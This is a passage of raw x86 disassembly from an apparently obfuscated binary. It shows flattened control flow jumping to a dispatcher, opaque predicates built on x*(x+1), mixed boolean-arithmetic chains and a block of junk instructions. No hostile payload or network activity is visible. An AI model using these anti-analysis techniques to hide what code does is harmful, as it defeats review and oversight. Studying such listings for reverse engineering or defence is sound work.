and ecx, 1
or edi, edx
and esi, 0x7dd17269
or ebx, esi
xor edi, 0x7f5e5585
xor eax, ebx
or ecx, edi
mov esi, eax
mov edx, ecx
not esi
not edx
and eax, 0xdf6d538d
and ecx, 0x919cb170
and esi, 0x2092ac72
and edx, 0x6e634e8f
or eax, esi
or ecx, edx
xor eax, 0x1197f3df
xor ecx, 0x919cb170
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x497b6604
mov edx, eax
and edx, 0x808868
and eax, 0xb6041193
or ecx, edx
xor ecx, 0x497b6604
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x42a3ddf2
and ecx, 0xbd5c220d
or ecx, eax
cmp ecx, 0xbd5c220d
setne al
cmp dword [0x460980], 0xa
mov ch, al
setl ah
setge cl
or cl, al
xor al, ah
or ch, ah
not al
mov edx, ecx
and al, ah
mov ah, ch
xor dl, 1
xor al, 1
xor ah, al
or al, ch
xor al, 1
or al, ah
mov ah, dl
and ah, cl
mov ch, al
xor ah, 1
xor ch, 1
mov dh, ah
or ah, cl
xor dh, cl
xor ah, 1
or ah, dh
mov dh, ah
and ah, ch
xor ch, cl
xor dh, 1
and dh, al
or al, dl
xor al, 1
or ah, dh
mov edx, 0xb3fa1f1d
or al, ch
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0xd587685f
cmovne ecx, edx
test al, 1
mov edx, 0xd587685f
jmp 0x40f082
mov eax, 0x8647696e
jmp 0x402260
cmp byte [ebp - 0x9b], 0
mov eax, 0xadbc636b
mov ecx, 0x1b3d1104
cmovne eax, ecx
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xd88b63bc
mov edx, eax
and edx, 0x27749c42
and eax, 0xf82c0714
or esi, edx
mov edx, ecx
or edx, 0xd49a1754
mov edi, esi
xor edi, 0x80160a8
xor esi, 0x4101440
and edx, 0xd49a1755
and esi, 0xd49a1754
and edi, 0x2b65e8aa
or edi, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0xc270d97d
and esi, 0x3d8f2682
or edx, esi
mov esi, edx
xor esi, 0xc0200114
xor edx, 0x3d8f2682
mov edi, edx
or edx, ecx
and ecx, 0x7d3f8eb
and edi, 0x7d3f8eb
and esi, 0xf82c0714
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x1c60048a
or edx, eax
xor edx, 0xffffffff
setne dl
sete cl
cmp dword [0x460980], 0xa
mov ch, dl
setl ah
setge al
mov dh, ah
or dl, ah
and ch, al
and dh, cl
xor cl, ah
xor dl, 1
and cl, ah
or dh, ch
or cl, dl
xor al, dh
mov dl, cl
and al, dh
xor dl, 1
mov ah, dl
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xbd3481eb
cmovne eax, esi
test cl, cl
mov ecx, 0xbd3481eb
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402260
mov eax, 0x44100374
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x30007020
and eax, 0x10c0304
mov edx, ecx
and edx, 0xc4820059
or ecx, 0xd0822079
or esi, edx
and ecx, 0xdaf3acfb
mov edx, esi
xor edx, 0x20005000
xor esi, 0xcaf38cdb
or eax, ecx
and esi, 0xdaf3acfb
and edx, 0x24005000
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xa5e1c4d3
and ecx, 0x5a1e3b2c
or eax, ecx
mov edi, eax
mov ecx, eax
xor ecx, 0x22080011
xor edi, 0x5163b4aa
xor eax, 0x643df72e
and eax, edi
and ecx, 0x736a30b1
and edi, 0x8c95cf4e
or edi, ecx
mov ecx, edi
xor edi, 0x736a30b1
xor ecx, 0x8c95cf4e
mov edx, edi
or edx, 0xcaa1bc7b
mov ebx, ecx
and ebx, 0x14584184
and edi, 0x416da980
mov esi, edx
and esi, 0x2926b239
or ebx, esi
mov esi, eax
not esi
and eax, 0xd6d94dc6
or edx, esi
and esi, 0x2926b239
or eax, esi
not edx
mov esi, 0xfd02e74c
xor eax, ebx
or edx, eax
mov eax, edx
not eax
and edx, 0x117a4805
and eax, 0xee85b7fa
or edx, eax
mov eax, ecx
and eax, 0xbe92567f
and ecx, 1
or eax, edi
xor edx, 0x24240b80
xor eax, 0x416da981
or ecx, eax
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0x7a84d808
and eax, ecx
not ecx
and ecx, 0x7a84d808
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x447ee0bb
and ecx, 0xbb811f44
or eax, ecx
mov ecx, eax
xor ecx, 0x14b80092
xor eax, 0x8004c148
and eax, 0xaa46f969
and ecx, 0x55b90696
or ecx, eax
mov eax, ecx
xor eax, 0x5980206
xor ecx, 0xa206d928
and ecx, 0xf227ddb8
and eax, 0xdd82247
or eax, ecx
mov ecx, eax
xor ecx, 0xd0000530
xor eax, 0x8080004
and eax, 0x2a2fd88c
and ecx, 0xd5d02773
or ecx, eax
xor ecx, 0xd5d02773
sete cl
setne ch
cmp dword [0x460980], 0xa
setl al
setge dl
mov ah, al
and al, ch
and ch, dl
and ah, cl
and cl, dl
or ah, ch
or al, cl
xor ah, 1
mov ecx, eax
or ah, dl
xor ah, 1
or al, ah
xor cl, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xdd62424d
cmovne eax, esi
test cl, 1
mov ecx, 0xdd62424d
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402260
mov eax, 0x656b4418
jmp 0x402260
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x44]
cmp dword [eax + 4], 0
mov eax, dword [0x460984]
lea ecx, [eax + 1]
setne byte [ebp - 0x91]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xbc8a9e8b
mov edx, eax
and eax, 0x43756174
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x43756175
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xa0000282
and eax, 0x1e01b824
mov edx, ecx
or edx, 0x40e64110
and esi, 0xe0e64392
and ecx, 0x1180449
and edx, 0xe0e64392
or ecx, esi
mov esi, 0xb0a97f2d
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xf4c8d1bb
and ecx, 0xb372e44
or eax, ecx
mov ecx, eax
xor ecx, 0xb1040062
xor eax, 0x40480308
and ecx, 0xbb856877
and eax, 0x447a9788
or eax, ecx
xor eax, 0x447a9788
setne dl
sete ah
cmp dword [0x460980], 0xa
setl ch
setge cl
mov al, ch
xor al, ah
and ah, al
and al, ch
xor ah, 1
xor al, 1
mov ch, ah
xor ch, al
or al, ah
mov ah, dl
xor ah, cl
or cl, dl
xor al, 1
xor cl, 1
or al, ch
or cl, ah
mov ch, al
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
mov edx, ecx
and ah, al
xor dl, 1
xor ah, 1
and cl, dl
xor ch, ah
or ah, al
xor cl, 1
xor ah, 1
or ah, ch
mov ch, dl
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
mov ch, ah
xor ch, 1
and ch, cl
xor cl, 1
and cl, ah
mov ah, al
xor ah, dl
or dl, al
or cl, ch
xor dl, 1
or dl, ah
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x99a0aaa3
cmovne esi, eax
test dl, 1
mov eax, 0xb0a97f2d
cmovne eax, esi
jmp 0x41176a
mov eax, dword [0x460984]
mov edi, 0x79d76259
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x2e83d46b
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0xd17c2b94
and ecx, 0x2e83d46b
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x6c20ebd6
and ecx, 0xd734740c
mov eax, esi
and esi, 0x93df1429
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x28cb8bf2
or ecx, esi
mov esi, edx
xor esi, 0x44206005
xor edx, 0x93df1428
or eax, edx
and edx, 0x28cb8bf2
and esi, 0xd734740d
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x58604875
and eax, 0xa79fb78a
or ecx, eax
mov eax, ecx
xor eax, 0x400811
xor ecx, 0xa79fb78a
mov esi, ecx
and esi, 0x5928f5ec
and eax, 0xa6d70a13
or eax, esi
mov esi, edx
not esi
and edx, 0xa6d70a13
or ecx, esi
and esi, 0x5928f5ec
or edx, esi
not ecx
mov esi, 0x55f98d7a
xor edx, eax
or ecx, edx
sete ah
setne al
cmp dword [0x460980], 0xa
mov dh, ah
setl dl
setge ch
mov cl, dl
and dh, ch
xor ch, al
or cl, al
and ch, al
and al, dl
or dl, ah
or al, dh
xor cl, 1
xor al, 1
or cl, ch
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, cl
mov edx, eax
xor ah, 1
not dl
and dl, ah
or ah, al
and al, cl
or al, dl
mov cl, ah
mov edx, 0x79d76259
xor cl, al
test al, 1
cmovne edx, esi
test ah, 1
cmovne edx, edi
jmp 0x40f9d1
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x387dd4f9
and eax, 0x1014
mov edx, ecx
and edx, 0xc7822b06
mov edi, ecx
or edi, 0x1c46ae01
or esi, edx
and edi, 0xbe7eae0b
mov edx, esi
xor esi, 0x4022a00
xor edx, 0x140e0
or eax, edi
or esi, 0xa238000a
and edx, 0x418141e0
and esi, 0xbe7eae0b
or edx, esi
xor eax, edx
mov edx, eax
not edx
and eax, 0x5dc7efe0
and edx, 0xa238101f
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd51b773a
and ecx, 0x2ae488c5
or eax, ecx
xor eax, 0xd51b773a
setne dl
sete cl
cmp dword [0x460980], 0xa
setl ah
setge al
mov ch, ah
xor ch, cl
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
and cl, ch
or al, ah
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov ch, dl
mov eax, 0xf0dda274
xor ch, cl
test dl, 1
mov edx, 0xcd424259
cmovne eax, edx
test cl, 1
not ch
cmovne eax, edx
test ch, 1
mov edx, 0xf0dda274
cmove eax, edx
jmp 0x402260
mov eax, dword [ebp - 0xd0]
add eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x84]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x1c1a5941
and eax, 0x28118288
mov edx, ecx
and edx, 0xe3e5a6be
or ecx, 0x10820436
or esi, edx
and ecx, 0xd78a1d36
mov edx, esi
xor esi, 0x800436
xor edx, 0x4041
or eax, ecx
or esi, 0xc7081900
and edx, 0x646041
and esi, 0xd78a1d36
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xe41fde84
and ecx, 0x1be0217b
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xb06450c
xor edx, 0xf4f9baf3
xor eax, 0x50fc95f5
mov esi, ecx
and eax, edx
and esi, 0xa4052f06
and edx, 0x891915fe
or eax, esi
mov esi, eax
not esi
and eax, 0x631e9578
and esi, 0x9ce16a87
or eax, esi
mov esi, ecx
and esi, 0x76e6ea01
and ecx, 1
or esi, edx
xor eax, 0xc71bba7f
xor esi, 0x891915ff
or ecx, esi
mov esi, 0xf049f6ec
mov edx, ecx
not edx
and ecx, 0x249220c0
and edx, 0xdb6ddf3f
or ecx, edx
xor ecx, 0x249220c0
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x94090274
and eax, 0x6bf6fd8b
or eax, ecx
mov ecx, eax
xor ecx, 0x14000264
xor eax, 0x9149c03
and ecx, 0x76e263ec
and eax, 0x891d9c13
or eax, ecx
mov ecx, eax
xor ecx, 0x32c0018c
xor eax, 0x801c9001
and eax, 0xc43ef261
and ecx, 0x3bc10d9e
or ecx, eax
xor ecx, 0x3bc10d9e
setne dl
sete cl
cmp dword [0x460980], 0xa
setl al
setge ah
mov ch, al
xor al, dl
xor ch, cl
xor cl, ah
or ah, dl
mov edx, eax
xor ah, 1
or ah, ch
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ch, cl
xor ch, al
and al, cl
or al, dl
and ch, cl
mov edx, 0x1f889e9c
mov cl, al
xor cl, ch
test al, al
mov eax, 0xf049f6ec
cmovne eax, edx
test ch, ch
cmove eax, esi
test cl, cl
cmovne eax, edx
jmp 0x402260
mov eax, 0x726db77e
jmp 0x402260
mov eax, dword [ebp - 0x14]
mov eax, 0x9cd4d49b
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0x747b2709
and ecx, 0x8b84d8f6
or ecx, eax
mov eax, edx
not eax
and edx, 0x3905cc60
mov esi, eax
and esi, 0xc6fa339f
or edx, esi
mov esi, ecx
xor esi, 0x904c860
xor ecx, 0x747b2708
or eax, ecx
and ecx, 0xc6fa339f
and esi, 0x3905cc60
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x22a1d74d
mov ecx, eax
not ecx
and eax, 0xc9f61661
and ecx, 0x3609e99e
or ecx, eax
mov eax, ecx
xor eax, 0x80101221
xor ecx, 0x3609e99e
mov edx, ecx
and edx, 0x5be625ca
and eax, 0xa419da35
or eax, edx
xor eax, 0x5be625ca
xor ecx, eax
test ecx, eax
sete cl
setne ah
cmp dword [0x460980], 0xa
setl al
setge ch
mov dh, al
and cl, ch
and al, ah
xor dh, ah
or al, cl
mov dl, dh
mov ah, al
xor dl, ch
not ah
and dl, dh
mov ecx, edx
and ah, dl
not cl
and cl, al
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x7829dfed
cmovne eax, esi
test cl, cl
not dl
mov ecx, 0x7829dfed
cmove eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402260
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov dword [eax], 0
mov eax, 0x818e997
jmp 0x402260
mov eax, 0x40ce73d4
jmp 0x402260
mov eax, 0xb633c7d8
jmp 0x402260
mov ecx, dword [ebp - 0x148]
mov eax, 0x5bae70e2
mov dword [ebp - 0xe8], ecx
jmp 0x402260
mov eax, 0xa2245978
jmp 0x402260
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x460984]
mov esi, 0x9923907a
mov edi, 0x9c82f6e3
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x57cfd1f7
and ecx, 0xa8302e08
or eax, ecx
mov ecx, eax
xor ecx, 0x1007c161
xor eax, 0x20102608
and eax, 0x67d8369e
and ecx, 0x9827c961
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x9827c960
xor eax, 0x67d8369e
xor edx, 0x67d8369f
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa25f2f98
and ecx, 0x5da0d067
or eax, ecx
mov ecx, eax
xor ecx, 0x20490e98
xor eax, 0x1a01044
and eax, 0x83b63144
and ecx, 0x7c49cebb
or ecx, eax
mov eax, ecx
xor eax, 0x82101000
xor ecx, 0x7c49cebb
mov edx, ecx
and edx, 0x65ef6567
and eax, 0x9a109a98
or eax, edx
xor eax, 0x65ef6567
xor ecx, eax
test ecx, eax
setne cl
sete dl
cmp dword [0x460980], 0xa
setge al
setl ah
mov ebx, eax
or ah, cl
or al, dl
xor bl, dl
xor ah, 1
xor al, 1
and bl, dl
or al, ah
xor al, bl
mov edx, eax
xor dl, 1
and bl, dl
xor dl, bl
test al, al
mov eax, 0x9c82f6e3
cmovne eax, esi
test bl, bl
cmove eax, edi
test dl, 1
mov edx, dword [ebp - 0x28]
cmove eax, esi
mov dword [ebp - 0x17c], edx
jmp 0x402260
mov eax, 0xf889187c
jmp 0x402260
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0x44]
mov eax, 0x4836495f
jmp 0x402260
mov eax, dword [ebp - 0x194]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x198], eax
mov eax, 0xe3f1811f
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xe567e2b4
and ecx, 0x20af225
mov edx, eax
and edx, 0x1a981d4b
or eax, 0x9f00448
or esi, edx
and eax, 0x9f405da
mov edx, esi
xor esi, 0x8900448
xor edx, 0xe4010000
or ecx, eax
or esi, 0x40192
and edx, 0xf4010800
and esi, 0x9f405da
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0xa446c1a2
and eax, 0x5bb93e5d
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x82215
xor eax, 0x59b7cdea
xor edx, 0x59b7cdeb
and edx, eax
and ecx, 0x48ba6bd5
and eax, 0xb745942a
or eax, ecx
xor eax, 0xb745942b
or eax, edx
mov esi, eax
or esi, 0x600
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x8ed71017
and ecx, eax
and esi, 0x6100607
and edx, 0x88c71010
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf9eff9f8
or eax, esi
and esi, 0x6100607
or ecx, esi
not eax
mov esi, 0xe11ba0cc
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x7128efe8
and eax, 0x8ed71017
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x76914ae3
and ecx, 0x896eb51c
or eax, ecx
mov ecx, eax
xor ecx, 0x6110260
xor eax, 0x6e3104
and eax, 0x70ee7987
and ecx, 0x8f118678
or ecx, eax
mov eax, ecx
xor eax, 0x60840804
xor ecx, 0x8100208
and ecx, 0x187a738b
and eax, 0xe7858c74
or eax, ecx
xor eax, 0xe7858c74
sete ah
setne al
cmp dword [0x460980], 0xa
setge cl
setl ch
mov edx, ecx
or cl, al
xor dl, al
xor al, ch
and dl, ah
not al
and al, ch
xor dl, 1
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ebx, eax
xor bl, dl
test al, 1
mov eax, 0x60b45ff9
cmovne eax, esi
test dl, 1
mov edx, 0x60b45ff9
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x402260
mov eax, 0xa7e336d9
jmp 0x402260
mov eax, 0x2c795d92
jmp 0x402260
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, 0x9e83e6e4
jmp 0x402260
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xff85220b
mov eax, edx
and eax, 0xa6166abd
and ecx, edx
not edx
and edx, 0x59e99542
mov esi, ecx
not esi
and ecx, 0x22af5879
or eax, edx
mov edx, eax
xor eax, 0x59810002
xor edx, 0x22040009
or eax, 0x7addf4
and edx, 0x22850009
mov edi, eax
or eax, esi
and edi, 0xdd50a786
and esi, 0xdd50a786
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x20e6c33
and ecx, 0xfdf193cc
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xa104
xor ecx, 0xfd8b4e38
xor eax, 0x8c4b1cb2
and eax, ecx
and edx, 0xb883a134
and ecx, 0x477c5ecb
or ecx, edx
mov edx, ecx
xor edx, 0x477c5ecb
xor ecx, 0xa881a120
mov esi, edx
and esi, 0x71c0528a
or edx, 1
and ecx, 0xebcdad28
or eax, esi
mov esi, eax
not esi
and eax, 0x9c94cd9
and esi, 0xf636b326
or eax, esi
mov esi, eax
xor esi, 0x68090c00
xor eax, 0x87f6e1ad
mov edi, eax
or eax, edx
and edx, 0x143252d6
and edi, 0x143252d6
and esi, 0xebcdad29
or esi, edi
or ecx, edx
not eax
mov edi, 0xa601e3a5
xor ecx, esi
mov esi, 0xb547318c
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x42032410
mov edx, ecx
and edx, 0x5800002
and ecx, 0xb87cdbed
or eax, edx
xor eax, 0x42032410
or ecx, eax
sete dl
setne ah
cmp dword [0x460980], 0xa
mov dh, dl
setge al
mov ch, al
or dh, al
inc ch
mov cl, ch
and ch, ah
or cl, ah
mov ebx, ecx
or cl, dh
xor bl, dh
mov dh, al
xor cl, 1
xor dh, dl
or cl, bl
and dh, al
and al, dl
or al, ch
or al, dh
mov edx, 0xa601e3a5
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
cmovne edx, edi
test al, al
cmovne edi, edx
test al, cl
cmove edi, edx
mov eax, edi
jmp 0x402260
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, 0xdee57225
jmp 0x402260
mov eax, dword [ebp - 0x40]
mov eax, 0xa601e3a5
jmp 0x402260
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x148], eax
mov eax, 0x76bc956d
jmp 0x402260
mov eax, 0xc4db2fb1
jmp 0x402260
rol edi, 0x5f
inc esi
imul esi
or edi, 4
neg ebx
not eax
mov edx, 0xf6
neg edi
and edi, 0x95
sub eax, 0xb9
dec edi
neg eax
imul edi
ror ebx, 0x8f
rol eax, 4
add edi, 0x41
dec edx
inc esi
mov edx, 0xc8
inc esi
or esi, 0x4d
inc ebx
ror edx, 0x8b
mov eax, 0xfe
inc edx
ror esi, 0x26
and edx, 0x2a
rcr edx, 0x16
ror eax, 0x99
ror edx, 0x75
rcr edi, 9
mov ebx, 3
add edi, 0x8c
bswap ebx
rol esi, 0x9d
add ebx, 0x4f
neg eax
bswap edi
dec edx
imul eax
dec edx
sub edi, 0x3e
inc ebx
neg ebx
bswap eax
or edx, 0x18
not esi
bswap eax
neg edx
bswap edi
and edx, 0x91
rcl ebx, 0xf4
imul esi
add eax, 0x2d
add edx, 3
dec ebx
sub ebx, 0x7b
add eax, 0xb5
neg edx
mov eax, 0x5b
sub eax, 3
neg esi
rol ebx, 0xdf
rcr edi, 0x1e
add edx, 0x41
imul ebx
and eax, 0xe4
inc edi
ror ebx, 0x4d
rol edi, 0x48
neg eax
rcl edx, 0xeb
rol eax, 0x1f
sub edx, 0x37
ror ebx, 5
neg ebx
imul eax
not esi
neg eax
not edi
rcl esi, 0x4c
not esi
ror edx, 0x46
add eax, 0x96
imul edi
ror esi, 0x2a
add esi, 0x9f
and edx, 0x82
not ebx
mov eax, 0xcf
inc esi
rcl edi, 0x7e
rcl edx, 0x81
bswap esi
ror eax, 0x5b
not ebx
bswap edx
not eax
neg edi
neg ebx
rcl esi, 0x12
inc edi
neg edi
sub edx, 0x7c
not ebx
bswap esi
bswap ebx
mov edx, 0xb2
rcl edx, 0xda
not edx
ror ebx, 0x8b
or edx, 0xef
and esi, 2
or edi, 0xd1
neg esi
neg esi
neg edx
not edx
mov edx, 0x76
bswap eax
neg eax
inc edi
inc edx
add esi, 0xb0
rcr edi, 0xfa
imul eax
sub edi, 0xa0
sub edi, 0x59
sbb ebx, 0x18
imul esi
mov edi, 0x99
imul esi
inc esi
bswap eax
mov esi, 0x35
rcl ebx, 0x29
dec ebx
rol edx, 0xe2
rcr eax, 0x48
rcl esi, 0x12
mov edx, 0x32
dec eax
dec edi
or ebx, 0xde
ror esi, 0xd9
bswap eax
imul eax
sub eax, 0x9c
rol edx, 0x8e
and edx, 0xe5
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x14]
mov eax, 0x53bdf77
jmp 0x402260
cmp dword [ebp - 0x198], 0
mov eax, 0xa053fbfe
mov ecx, 0xe13e7328
cmove eax, ecx
jmp 0x402260
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x74], eax
mov eax, 0x7e052dc1
jmp 0x402260
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x60]
mov eax, 0x8e7a6a1a
jmp 0x402260
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xb352640b
and eax, edx
not edx
or edx, eax
not eax
and eax, 0x4cad9bf4
and edx, 0xb352640b
or edx, eax
mov ecx, edx
xor ecx, 0x6c9e2a37
mov eax, edx
not eax
andn esi, edx, ecx
mov ecx, edx
and ecx, 0x9361d5c8
and edx, 0xc4af382b
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x6c9e2a36
and esi, 0x9361d5c9
or ecx, esi
mov esi, eax
and esi, 0x3b50c7d4
and eax, 1
or esi, edx
mov edx, ecx
not edx
and ecx, 0x4c24ea01
xor esi, 0xc4af382a
or eax, esi
mov esi, edx
and esi, 0xb3db15fe
or ecx, esi
mov esi, eax
not esi
or edx, eax
and eax, 0xb3db15fe
and esi, 0x4c24ea01
not edx
or esi, eax
xor esi, ecx
or edx, esi
mov esi, 0x6f6b63a2
mov eax, edx
not eax
and edx, 0x40d1e60
and eax, 0xfbf2e19f
or edx, eax
mov eax, edx
xor eax, 0x4080060
xor edx, 0xfbf2e19f
mov ecx, edx
and ecx, 0xc9a75e1f
and eax, 0x3658a1e0
or eax, ecx
xor eax, 0x3658a1e0
or eax, edx
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x460980], 0xa
setl dl
setge ah
and dl, al
and cl, ah
or al, ah
or cl, dl
mov ah, al
mov edx, ecx
xor ah, 1
and al, cl
not dl
and dl, ah
or al, dl
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xddda8475
cmovne ecx, esi
test al, al
mov eax, 0xddda8475
cmove ecx, esi
test dl, 1
cmove ecx, eax
mov eax, ecx
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xc6173cd2
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x39e8c32d
and ecx, 0xc6173cd2
or ecx, eax
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0xb9d450f4
and ecx, 0x462baf0b
or ecx, eax
mov eax, edx
not eax
and edx, 0x3fc5df16
mov esi, eax
and esi, 0xc03a20e9
or edx, esi
mov esi, ecx
xor esi, 0x6018f02
xor ecx, 0xb9d450f5
or eax, ecx
and ecx, 0xc03a20e9
and esi, 0x3fc5df16
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xc8458d2c
and edx, 0x37ba72d3
or edx, esi
mov esi, ecx
not esi
and ecx, 0x37ba72d3
or eax, esi
and esi, 0xc8458d2c
or ecx, esi
not eax
mov esi, 0x494009e9
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa7b4a1d
and ecx, 0xf584b5e2
or ecx, eax
mov eax, ecx
xor eax, 0xa38400d
xor ecx, 0x45042022
and ecx, 0x45472a32
and eax, 0xbab8d5cd
or eax, ecx
xor eax, 0xbab8d5cd
setne dl
sete ah
cmp dword [0x460980], 0xa
mov dh, dl
setl ch
setge cl
mov al, ch
or dh, ch
xor al, dl
and dl, ch
xor dh, 1
not al
and al, ch
mov ch, cl
xor ch, ah
or al, dh
and ch, cl
and cl, ah
mov ah, al
or cl, dl
xor ch, 1
xor ah, 1
xor cl, 1
mov dl, ch
xor dl, cl
or cl, ch
mov ch, ah
and ch, al
xor cl, 1
xor ch, 1
or cl, dl
or ch, al
mov edx, ecx
xor ch, 1
xor dl, 1
or ch, ah
mov ah, cl
and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or ah, cl
mov cl, al
xor cl, dl
or dl, al
xor ah, ch
xor dl, 1
or dl, cl
mov ecx, 0xc8f2d219
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test dl, 1
mov esi, 0xc8f2d219
cmovne esi, ecx
test ah, 1
cmove esi, ecx
mov eax, esi
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x53fc143
and eax, 0xfac03ebc
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x60566452
and eax, 0x9fa99bad
or ecx, eax
mov eax, ecx
xor ecx, 0x6160a511
xor eax, 0x9a965aee
mov edx, eax
and ecx, 0x7372e5d5
and edx, 0x8c8d1a2a
and eax, 0x28c00902
or edx, ecx
mov ecx, edx
xor ecx, 0x8c8d1a2a
xor edx, 0x6252c454
mov esi, ecx
and esi, 0xd73ff6fd
and edx, 0x6edfc65c
and ecx, 0x912039a2
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0xd73ff6fc
and esi, 0x28c00903
or eax, esi
mov edx, eax
not edx
and eax, 0x85539540
mov esi, edx
